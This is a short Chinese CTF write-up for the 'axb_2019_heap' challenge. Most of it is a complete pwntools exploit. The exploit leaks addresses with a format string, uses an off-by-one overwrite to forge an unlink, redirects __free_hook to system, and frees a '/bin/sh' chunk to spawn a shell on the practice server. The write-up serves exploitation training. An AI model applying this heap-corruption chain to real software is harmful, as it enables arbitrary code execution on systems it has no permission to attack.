axb_2019_heap-format_string + off-by-one

axb_2019_heap

简单题，格式化字符串泄漏栈地址

算上rsp，格式化字符串参数是栈顺序+6-1

edit有off by one

构造unlink

chunk0

chunk1

chunk2

构造成这样，然后free1就行了

from pwn import *

local = 0

binary = "./axb_2019_heap"
libc_path = '../libc-2.23.so'
port = "27201"

if local == 1:
	p = process(binary)
else:
	p = remote("node3.buuoj.cn",port)

def dbg():
	context.log_level = 'debug'

context.terminal = ['tmux','splitw','-h']

def add(index,size,content):
	p.sendlineafter('>> ','1')
	p.sendlineafter('Enter the index you want to create (0-10):',str(index))
	p.sendlineafter('Enter a size:',str(size))
	p.sendafter('Enter the content: ',content)

def free(index):
	p.sendlineafter('>> ','2')
	p.sendlineafter('Enter an index:',str(index))

def edit(index,content):
	p.sendlineafter('>> ','4')
	p.sendlineafter('Enter an index:',str(index))
	p.sendafter('Enter the content: ',content)

def format_string(name):
	p.sendlineafter('Enter your name:',str(name))

# 11 arg can leak text addr
# 15 arg can leak libc
# overlap chunk , when we free, we need by pass unlink,so we need heap addr

libc = ELF(libc_path)

# format string
format_payload = "%11$p%15$p"
format_string(format_payload)

main_addr = 0x116A
_heaparray = 0x202060
offset = _heaparray - main_addr

p.recvuntil('0x')
heaparray = int(p.recv(12),16) - 28 + offset
print "[*] heaparray = ",hex(heaparray)

p.recvuntil('0x')
libc_base = int(p.recv(12),16) - 240 - libc.sym['__libc_start_main']
print "[*] libc base = ",hex(libc_base)

# off by one to edit
add(0,0x88,'aaaa\n')
add(1,0x88,'bbbb\n')
add(2,0x88,'/bin/sh\x00\n')
add(3,0x88,'protected\n')

fd = heaparray - 0x18
bk = heaparray - 0x10
chunk_0_payload = p64(0) + p64(0x80) + p64(fd) + p64(bk)
chunk_0_payload = chunk_0_payload.ljust(0x80,'a') + p64(0x80)
chunk_0_payload = chunk_0_payload + '\x90'
edit(0,chunk_0_payload)

# unlink
free(1)
system = libc_base + libc.sym['system']
__free_hook = libc_base + libc.sym['__free_hook']

payload = p64(0) * 3 + p64(__free_hook) + p64(0x8) 	# now chunk0 is chunk0 - 0x18
edit(0,payload + '\n')		# now chunk0 is '__free_hook' , we can write it

edit(0,p64(system) + '\n')

free(2)

# gdb.attach(p)
p.interactive()